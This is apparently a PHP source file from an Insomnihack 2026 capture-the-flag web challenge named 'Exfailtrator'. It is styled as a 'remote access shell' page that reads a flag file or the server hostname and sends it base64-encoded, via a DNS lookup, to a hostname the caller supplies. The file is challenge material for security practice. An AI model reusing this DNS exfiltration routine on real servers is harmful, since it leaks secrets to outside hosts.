Files
ctf/2026/insomnihack/web/Exfailtrator/webshell-85ad1d62b5209e904aa006718e2075bd8ca671fc1d61ecb30cc0700f9815f175.php
2026-03-22 21:54:32 +01:00

309 lines
8.3 KiB
PHP

<?php
$FLAG = file_get_contents('/tmp/flag');
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
$input = json_decode(file_get_contents('php://input'), true);
$hostname = $input['hostname'] ?? '';
$type_cmd = $input['type'] ?? '';
if (!is_string($hostname) || empty($hostname) || !is_string($type_cmd) || empty($type_cmd)) {
http_response_code(400);
echo json_encode(['error' => 'Invalid variable format']);
exit;
}
$sanitized_hostname = preg_replace('/[^a-zA-Z0-9.-]/', '', $hostname);
if (($sanitized_hostname !== $hostname || empty($sanitized_hostname)) || (!in_array($type_cmd, ['hostname', 'flag'], true))) {
http_response_code(400);
echo json_encode(['error' => 'Invalid variable format']);
exit;
}
if ($type_cmd === 'hostname') {
performDnsExfiltration(gethostname(), $sanitized_hostname);
} else if ($type_cmd === 'flag') {
performDnsExfiltration($FLAG, $sanitized_hostname);
}
echo json_encode(['success' => true]);
exit;
}
function performDnsExfiltration(string $content, string $hostname): bool {
try {
$checksum = substr(md5($content), 0, 3);
$value_b64 = rtrim(strtr(base64_encode($content), '+/', '--'), '=');
$query = "{$value_b64}.{$checksum}.{$hostname}";
# Perform the DNS exfiltration of the content and its checksum to the specific hostname
dns_get_record($query, DNS_A);
return true;
} catch (Exception $e) {
return false;
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>WebShell v2.1</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
}
body {
font-family: 'Courier New', 'Monaco', monospace;
background: #0a0a0a;
color: #00ff00;
min-height: 100vh;
padding: 20px;
overflow-x: hidden;
}
.terminal {
max-width: 900px;
margin: 0 auto;
background: #000000;
border: 2px solid #00ff00;
box-shadow: 0 0 20px rgba(0, 255, 0, 0.3);
padding: 20px;
}
.header {
border-bottom: 1px solid #00ff00;
padding-bottom: 10px;
margin-bottom: 20px;
}
.header h1 {
font-size: 18px;
color: #00ff00;
letter-spacing: 2px;
}
.header .info {
font-size: 12px;
color: #00cc00;
margin-top: 5px;
}
.ascii-art {
color: #00ff00;
font-size: 10px;
line-height: 1.2;
margin-bottom: 20px;
white-space: pre;
opacity: 0.7;
}
.command-section {
margin-bottom: 20px;
}
.prompt {
color: #00ff00;
margin-bottom: 5px;
font-size: 14px;
}
.prompt span {
color: #00cc00;
}
.input-row {
display: flex;
gap: 10px;
margin-bottom: 15px;
align-items: center;
}
.input-row::before {
content: ">";
color: #00ff00;
font-weight: bold;
}
input[type="text"] {
flex: 1;
background: #001100;
border: 1px solid #00ff00;
color: #00ff00;
padding: 10px 15px;
font-family: 'Courier New', monospace;
font-size: 14px;
outline: none;
}
input[type="text"]:focus {
background: #002200;
box-shadow: 0 0 10px rgba(0, 255, 0, 0.3);
}
input[type="text"]::placeholder {
color: #005500;
}
button {
background: #001100;
border: 2px solid #00ff00;
color: #00ff00;
padding: 10px 20px;
font-family: 'Courier New', monospace;
font-size: 13px;
cursor: pointer;
text-transform: uppercase;
letter-spacing: 1px;
transition: all 0.2s;
white-space: nowrap;
}
button:hover {
background: #00ff00;
color: #000000;
box-shadow: 0 0 15px rgba(0, 255, 0, 0.5);
}
button:active {
transform: scale(0.95);
}
.separator {
border-top: 1px dashed #00ff00;
margin: 20px 0;
opacity: 0.3;
}
.status {
position: fixed;
bottom: 20px;
right: 20px;
background: #000000;
border: 1px solid #00ff00;
padding: 5px 10px;
font-size: 10px;
color: #00ff00;
}
.blink {
animation: blink 1s infinite;
}
@keyframes blink {
0%, 49% { opacity: 1; }
50%, 100% { opacity: 0; }
}
.footer {
margin-top: 30px;
padding-top: 15px;
border-top: 1px solid #00ff00;
font-size: 11px;
color: #00cc00;
opacity: 0.5;
}
</style>
</head>
<body>
<div class="terminal">
<div class="header">
<h1>╔══════════════════════════╗</h1>
<h1>║ REMOTE ACCESS SHELL v2.1 ║</h1>
<h1>╚══════════════════════════╝</h1>
<div class="info">
[*] Connection established...<br>
[*] DNS exfiltration module loaded<br>
[*] Waiting for commands...
</div>
</div>
<div class="ascii-art">
___ _ _ ___
| __|| \/ ||_ _|
| _| | /\ | | |
|___||_||_||___|
</div>
<div class="command-section">
<div class="prompt"><span>[root@target]</span># extract_hostname -format base64 -addCheckSum</div>
<div class="input-row">
<input type="text" id="hostname" placeholder="target.domain.com">
<button onclick="extractHostname()">EXTRACT HOSTNAME</button>
</div>
</div>
<div class="separator"></div>
<div class="command-section">
<div class="prompt"><span>[root@target]</span># extract_flag -format base64 -addCheckSum</div>
<div class="input-row">
<input type="text" id="flag" placeholder="target.domain.com">
<button onclick="extractFlag()">EXTRACT FLAG</button>
</div>
</div>
<div class="footer">
<span class="blink">█</span> System ready | DNS resolver: active | Obfuscation: enabled
</div>
</div>
<div class="status">
<span class="blink">●</span> ONLINE
</div>
<script>
async function extractHostname() {
const hostname = document.getElementById('hostname').value.trim();
if (!hostname) {
return;
}
try {
await fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
hostname: hostname,
type: 'hostname'
})
});
} catch (error) {
console.error('Error:', error);
}
}
async function extractFlag() {
const hostname = document.getElementById('flag').value.trim();
if (!hostname) {
return;
}
try {
await fetch('/', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
hostname: hostname,
type: 'flag'
})
});
} catch (error) {
console.error('Error:', error);
}
}
</script>
</body>
</html>